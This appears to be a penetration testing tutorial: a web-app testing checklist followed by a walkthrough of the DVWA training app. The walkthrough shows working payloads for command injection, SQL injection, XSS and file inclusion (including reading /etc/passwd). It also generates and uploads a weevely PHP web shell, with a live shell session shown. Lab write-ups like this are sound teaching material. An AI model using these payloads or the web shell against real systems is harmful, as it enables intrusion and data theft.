In this tutorial we’re going to define base steps for web penetration testing and find vulnerabilities in DVWA.
Finding hidden content
At this stage you should know what web technologies are used on the target website based on your previous network research.
What you should be looking for:
- 1. File
robots.txt
- 2. Backup files:
.back
,.bak
etc… - 3. Other files:
.pdf
,.docx
, etc… - 4. Admin urls:
admin
,myadmin
, etc…
If you find any of the above files or folders then check its contents for private information.
Burp Suite is a good choice for this task. You should select Target
=> Engagement tools
=> Discover content
.
Common workflow
- 1. Enable
Burp Proxy
and manually browse all the pages of the target web app and inspect all requests/responses. - 2. Crawl website using
Burp Scan
task. - 3. Crawl website using
Burp Content Discovery
. - 4. For each page found do the following.
- 5. Send each request to
Burp Scanner
for automatic scanning. - 6. If this is a special page (login, registration, restore/change password, upload page) then proceed with the special page checklist(for example for login page you can try brute force or default credentials). After that proceed with the common page checklist.
- 7. If the page is not special then proceed with the common page checklist(ex:
sqli
,xss
, etc…). - 8. Gather all issues and create a report.
Common page checklist
- 1. Find all parameters processed by the backend. Check URLs for query params, headers, HTML inputs.
- 2. Check all APIs called on the web page.
- 3. Check if plain http mode works.
- 4. Check if error messages reveal sensitive information.
- 5. Check for application logic issues. (100% discount, 0$ item, etc…)
- 6. Check if a web page can be accessed without authentication.
- 7. Check if APIs and web page resources can be accessed without authentication.
- 8. Check if a user with a different set of permissions has access to the admin page or APIs.
- 9. Check for header security best practices:
–X-frame-options
: can the website be rendered insideiframe
,frame
,embed
orobject
tags.
–X-content-type-options
: forcesContent-Type
headers to be followed.
–Strict-transport-security
: forces web browsers to usehttps
.
–Content-security-policy
: specifies what app resources are allowed.
–X-XSS-protection:1;mode=block
: stop web page load when XSS is detected. - 10. Check cookie/session id for randomness.
- 11. Try to brute-force the cookie/session id.
- 12. Check that a new session is generated on each login.
- 13. Try to decode cookie/session id.
- 14. Try to manipulate cookies. (ex: isSuperUser=1)
- 15. Find out session duration.
- 16. Check the client source code(HTML and JS) for: comments, debug info, logic issues, hidden inputs, disabled inputs.
- 17. Search for user id and try to brute-force it. Check if you can access other user’s data within your current session.
- 18. Check for CSRF.
- 19. Check that the server validates all inputs.
- 20. Check for SQLi.
- 21. Check for XSS.
- 22. Check for command injection.
- 23. Check for LFI.
- 24. Check for RFI.
Special page checklist
Login page
- 1. Check for default credentials.
- 2. Try to brute-force credentials.
- 3. Check if DOS can be accomplished when the account is temporarily blocked after a few failed logins.
- 4. Is there a “remember me” feature?
Registration page
- 1. Are weak passwords allowed?
- 2. If you register with an existing username(email, phone, etc…), is user enumeration available?
- 3. Check for weak secret questions(favourite color?).
- 4. Check if DOS can be accomplished via automating user registration.
Reset/change password page
- 1. Check if you can change the password of another user.
- 2. Check the password change workflow.
- 3. Check if a user receives a confirmation email after a password change.
- 4. What data is required to change the password?
- 5. How strong are the new or temporary passwords?
- 6. Check if a user must change the random password after password reset on login.
- 7. Check if a user must enter his old password during the password change.
Upload page
- 1. Check if you can access the uploaded file via URL.
- 2. Check if you can see other users’ files.
- 3. Check if you can upload a web shell.
- 4. Check if you can upload a backdoor if the web app allows executables to be uploaded.
DVWA
In this section we’re going to investigate https://github.com/digininja/DVWA and find all vulnerabilities there.
The simplest way to install DVWA is using docker command docker run --rm -it -p 80:80 vulnerables/web-dvwa
.
There are 4 difficulty levels in DVWA:
- 1. Low: no security measures.
- 2. Medium: security measures implemented in a bad way.
- 3. High: security measures implemented in almost perfect way.
- 4. Impossible: secure code. No way to break it.
Brute force
Click on the Brute Force
menu item and intercept a login request. Send request to Intruder
, set username to admin
and mark password
field to be iterated. Select standard Passwords
dictionary for Payload Options
and hit Start attack
. You should see that the response with a correct password has different content length.
So valid credentials are admin:password
.
Medium difficulty adds 2 seconds delay between requests.
High difficulty adds a CSRF token. You can create a custom script that opens the web page in a headless browser and brute forces credentials.
Impossible level shows error message “Username and/or password incorrect” and blocks account for 15 minutes after 3 failed login attempts.
Command injection
Open the Command Injection
menu. You can see an input where you can ping the machine by ip address. You can enter 127.0.0.1 && ls
to get a list of files in the current folder:
Medium difficulty hardcoded some symbols but not all of them.
High difficulty blacklisted almost all symbols.
Impossible difficulty uses whitelisting instead of blacklisting.
CSRF
Open the CSRF
menu. Intercept update password request and send it to the repeater. In the context menu select Engagement tools
=> Generate CSRF PoC
=> Test in browser
=> Submit
. Password should be updated:
For medium difficulty you can use reflected XSS to update a user’s password.
High difficulty adds CSRF token so you should use XSS to get the CSRF token and update the user’s password.
Impossible difficulty adds the old password input which fixes the vulnerability.
File inclusion
Open the File inclusion
menu. You can see the following URL: http://localhost:81/vulnerabilities/fi/?page=include.php
. This url is vulnerable for LFI(Local File Inclusion). Enter the following URL to get a list of users: http://localhost:81/vulnerabilities/fi/?page=../../../../../etc/passwd
:
That URL is also vulnerable for RFI(Remote File Inclusion). Enter the following URL http://localhost:81/vulnerabilities/fi/?page=https://google.com
to see google page inside web content.
Medium difficulty blacklists some symbols.
High difficulty allows inclusion only for files starting with file
prefix.
Impossible difficulty uses whitelisting instead of blacklisting.
File upload
Select the File Upload
menu. Generate a reverse shell:
1 2 |
vladimir@comp:~/Public/program_files/weevely3$ ./weevely.py generate 1234 myfile.php Generated 'myfile.php' with password '1234' of 680 byte size. |
Upload myfile.php
via the upload file form. Now try to establish a connection:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
vladimir@comp:~/Public/program_files/weevely3$ ./weevely.py http://localhost:81/hackable/uploads/myfile.php 1234 [+] weevely 4.0.1 [+] Target: localhost:81 [+] Session: /home/vladimir/.weevely/sessions/localhost/myfile_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> pwd /var/www/html/hackable/uploads www-data@daff12a89504:/var/www/html/hackable/uploads $ |
Medium difficulty checks the Content-Type
header and allows only images. So you need to intercept the request and set image/jpeg
as a content type instead of application/x-php
.
High difficulty resizes an image. So you need to rename myfile.php
to myfile.jpeg
, then add GIF89a;
at the beginning of the shell to make the file look like an image, and finally use LFI to execute the shell.
Impossible difficulty adds loads of security measures.
Insecure CAPTCHA
Open the Insecure CAPTCHA
menu. There are 2 requests when sending the form. The 1st one to /vulnerabilities/captcha/
that gets a recaptcha token. And the 2nd to the same URL /vulnerabilities/captcha/
but without the recaptcha token. So you can intercept the request and send only the 2nd one.
Medium difficulty adds step
and passed_captcha
params which can also be manipulated.
High difficulty allows special User-Agent
header and param g-recaptcha-response
to bypass validation. These values are hidden in comments.
Impossible difficulty adds current password field and sends only 1 request which must contain a valid captcha response.
SQL injection
Select the SQL injection
menu. In the input field enter 1’ UNION SELECT user,password from users#
to get a list of all users:
Medium difficulty adds mysql_real_escape_string()
sanitization method but SQL injection still works without any quotes. You can also set value of the select input to the following: 1’ UNION SELECT user,password from users#
High difficulty requires user id to be entered on another page but vulnerability still exists with the same payload.
Impossible difficulty uses parameterized queries.
SQL injection (blind)
Select the Sql Injection (Blind)
menu. Enter the following sleep query in the input field: 1' and sleep(5)#
. The request should be executed in ~5 seconds.
Medium difficulty adds select input but we can modify the select input’s value anyway.
High difficulty adds a query to the Cookie
header and returns response with a random sleep number so you need to use greater sleep values.
Impossible difficulty uses parameterized queries.
Weak session id
Select the Weak Session IDs
menu. On the Generate
button click a new value is assigned to the dvwaSession
cookie. On each click this value is increased by 1 so you can predict the next session id.
Medium difficulty uses unix timestamp as a session id.
High difficulty uses md5 hash to encode a simple number.
Impossible difficulty hashes a random value and a word “impossible”.
XSS (DOM)
Open the XSS (DOM)
menu. Enter the following URL to see that XSS exists: http://localhost:81/vulnerabilities/xss_d/?default=English<script>alert(1)</script>
Medium difficulty disallows script
tag usage but you can still use the img
tag: /vulnerabilities/xss_d/?default=English>/option></select><img src='x' onerror='alert(1)'>
High difficulty adds whitelisted values but URL http://localhost:81/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
still works.
Impossible difficulty encodes all URL content.
XSS (reflected)
Open the XSS (Reflected)
menu. Enter the following string in the input field to see that XSS exists: test<script>alert(1)</script>
Medium difficulty rejects the script
tag but allows sCrIpT
.
High difficulty rejects all variations of the script
tag but allows the img
tag: <img src="x" onerror="alert(1)" />
Impossible difficulty escapes all characters.
XSS (stored)
Open the XSS (Stored)
menu. Enter any value in the name
field and <script>alert(1)</script>
in the message
field and press Sign Guestbook
. Now, on each page load you should see the alert message.
Medium difficulty adds validation for the message
field but not for the name
field.
High difficulty removes symbols inside the script
tag but allows the img
tag.
Impossible difficulty filters all characters.
CSP bypass
To bypass the Content-Security-Policy
header you should upload your script on the server.
Medium difficulty uses the Content-Security-Policy
header with a nonce so we should add this nonce to the loaded script.
High difficulty adds Solve the sum
button. On this button press request is sent to the server /vulnerabilities/csp/source/jsonp.php?callback=solveSum
. You can change the callback
param to your own JS code.
Impossible level hardcodes the callback function.
Javascript
Open the JavaScript
menu. Enter the success
message and hit Submit
. You will see an error Invalid token
.
If you inspect the source code you will find the following JS functions:
1 2 3 4 5 6 7 8 9 |
function rot13(inp) { return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);}); } function generate_token() { var phrase = document.getElementById("phrase").value; document.getElementById("token").value = md5(rot13(phrase)); } |
So the token is calculated as md5
hash from rot13
function. You can generate the token in your terminal echo -n ‘success’ | tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’ | md5sum
, intercept the request and replace the token. You should be able to see the “Well done” message.
Medium difficulty minimizes the code and adds a little bit more complex token calculations.
High difficulty obfuscates the code and adds even more complex token calculations.
Impossible is absent because client side code can always be inspected.
Report
When all issues are detected it is time to write a report. You can find an example report here https://tcm-sec.com/wp-content/uploads/2021/04/TCMS-Demo-Corp-Security-Assessment-Findings-Report.pdf